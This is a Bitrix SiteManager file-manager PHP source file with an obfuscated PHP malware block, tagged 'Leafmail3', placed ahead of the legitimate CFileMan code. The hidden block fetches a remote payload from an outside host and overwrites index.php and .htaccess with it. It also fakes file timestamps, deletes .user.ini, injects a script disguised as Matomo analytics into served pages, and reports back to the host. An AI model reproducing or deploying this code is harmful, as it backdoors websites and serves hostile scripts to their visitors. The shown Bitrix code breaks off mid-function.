Your IP : 18.221.139.125
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
/*
##############################################
# Bitrix: SiteManager #
# Copyright (c) 2002-2005 Bitrix #
# http://www.bitrixsoft.com #
# mailto:admin@bitrixsoft.com #
##############################################
*/
global $DOCUMENT_ROOT, $MESS;
IncludeModuleLangFile(__FILE__);
define("DEBUG_FILE_MAN", false);
if(!defined("CACHED_stickers_count")) define("CACHED_stickers_count", 36000000);
$GLOBALS['arFilemanPredifinedFileTypesR'] = array();
$GLOBALS['arFilemanPredifinedFileTypes'] = array(
"css" => array(
"exts" => array("css"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_CSS")
),
"htaccess" => array(
"exts" => array("htaccess"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_SYS")
),
"html" => array(
"exts" => array("html", "htm", "shtml", "shtm"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_HTML")
),
"png" => array(
"exts" => array("png"),
"gtype" => "image",
"name" => GetMessage("MAIN_BFSD_FTYPE_PNG")
),
"gif" => array(
"exts" => array("gif"),
"gtype" => "image",
"name" => GetMessage("MAIN_BFSD_FTYPE_GIF")
),
"jpeg" => array(
"exts" => array("jpeg", "jpg", "jpe"),
"gtype" => "image",
"name" => GetMessage("MAIN_BFSD_FTYPE_JPG")
),
"js" => array(
"exts" => array("js"),
"gtype" => "text",
"name" => "JavaScript"
),
"php" => array(
"exts" => array("php", "php3", "php4", "php5", "php6", "phtml"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_PHP")
),
"txt" => array(
"exts" => array("txt", "sql"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_TXT")
),
"xml" => array(
"exts" => array("xml", "xsl"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_XML")
),
"csv" => array(
"exts" => array("csv"),
"gtype" => "text",
"name" => GetMessage("MAIN_BFSD_FTYPE_CSV")
),
"flash" => array(
"exts" => array("fla", "swf"),
"gtype" => "file",
"name" => GetMessage("MAIN_BFSD_FTYPE_SWF")
),
"archive" => array(
"exts" => CBXArchive::GetArchiveExtensions(),
"gtype" => "file",
"name" => GetMessage("MAIN_BFSD_FTYPE_ARC")
),
"file" => array(
"exts" => array(),
"gtype" => "file",
"name" => GetMessage("MAIN_BFSD_FTYPE_NA")
)
);
// AddEventHandler("fileman", "OnBeforeHTMLEditorScriptsGet", "bitrix_tabs");
// function bitrix_tabs($editorName, $arEditorParams){return array("JS" => array('bitrix_tabs.js'));}
class CFileMan
{
public static function OnPanelCreate()
{
global $APPLICATION, $REQUEST_URI;
if($APPLICATION->GetGroupRight("fileman")<="D")
return;
$cur_page = $APPLICATION->GetCurPage(true);
$cur_dir = $APPLICATION->GetCurDir();
//access to curent page
$page_permission = $APPLICATION->GetFileAccessPermission($cur_page);
// access to current directory
$sect_permission = $APPLICATION->GetFileAccessPermission($cur_dir);
$main_sort = 100;
$full_src = "";
$default_edit = COption::GetOptionString("fileman", "default_edit", "html");
if($default_edit == "php")
{
$editor_type = "file";
$full_src = "&full_src=Y";
}
elseif($default_edit == "text")
$editor_type = "file";
else
$editor_type = "html";
$aMenuItems = array(
'create' => array(),
'create_section' => array(),
'edit' => array(),
'edit_section' => array()
);
if ($sect_permission>="W")
{
// New page
$href = "/bitrix/admin/fileman_".$editor_type."_edit.php?lang=".LANGUAGE_ID."&site=".SITE_ID."&path=".UrlEncode($APPLICATION->GetCurDir())."&new=Y&templateID=".urlencode(SITE_TEMPLATE_ID)."&back_url=".UrlEncode($REQUEST_URI);
$APPLICATION->AddPanelButtonMenu('create', array("SEPARATOR"=>true, "SORT"=>99));
$APPLICATION->AddPanelButtonMenu('create', array(
"TEXT" => GetMessage("fileman_panel_admin"),
"TITLE"=> GetMessage("fileman_panel_new_page_title"),
"ACTION" => "jsUtils.Redirect([], '".CUtil::JSEscape($href)."')",
"SORT" => 100
));
//New folder
$href = "/bitrix/admin/fileman_newfolder.php?lang=".LANGUAGE_ID."&site=".SITE_ID."&path=". UrlEncode($APPLICATION->GetCurDir())."&back_url=".UrlEncode($REQUEST_URI);
$APPLICATION->AddPanelButtonMenu('create_section', array("SEPARATOR"=>true, "SORT"=>99));
$APPLICATION->AddPanelButtonMenu('create_section', array(
"TEXT" => GetMessage("fileman_panel_admin"),
"TITLE"=> GetMessage("fileman_panel_new_folder_title"),
"ACTION" => "jsUtils.Redirect([], '".CUtil::JSEscape($href)."')",
));
}
// Edit page
if ($page_permission>="W")
{
$href = "/bitrix/admin/fileman_".$editor_type."_edit.php?lang=".LANGUAGE_ID."&site=".SITE_ID."&templateID=".urlencode(SITE_TEMPLATE_ID).$full_src."&path=".UrlEncode(isset($_SERVER["REAL_FILE_PATH"]) && $_SERVER["REAL_FILE_PATH"]<>""? $_SERVER["REAL_FILE_PATH"] : $cur_page)."&back_url=".UrlEncode($REQUEST_URI);
$APPLICATION->AddPanelButtonMenu('edit', array("SEPARATOR"=>true, "SORT"=>99));
$APPLICATION->AddPanelButtonMenu('edit', array(
"TEXT" => GetMessage("fileman_panel_admin"),
"TITLE"=> GetMessage("fileman_panel_edit_title"),
"ACTION" => "jsUtils.Redirect([], '".CUtil::JSEscape($href)."')",
"SORT" => 100
));
}
// Folder properties
$alt = GetMessage("FILEMAN_FOLDER_PROPS");
if ($sect_permission>="W")
{
$href = "/bitrix/admin/fileman_folder.php?lang=".LANGUAGE_ID."&site=".SITE_ID."&path=".UrlEncode($APPLICATION->GetCurDir())."&back_url=".UrlEncode($REQUEST_URI);
$APPLICATION->AddPanelButtonMenu('edit_section', array("SEPARATOR"=>true, "SORT"=>99));
$APPLICATION->AddPanelButtonMenu('edit_section', array(
"TEXT" => GetMessage("fileman_panel_admin"),
"TITLE"=> GetMessage("fileman_panel_folder_prop_title"),
"ACTION" => "jsUtils.Redirect([], '".CUtil::JSEscape($href)."')",
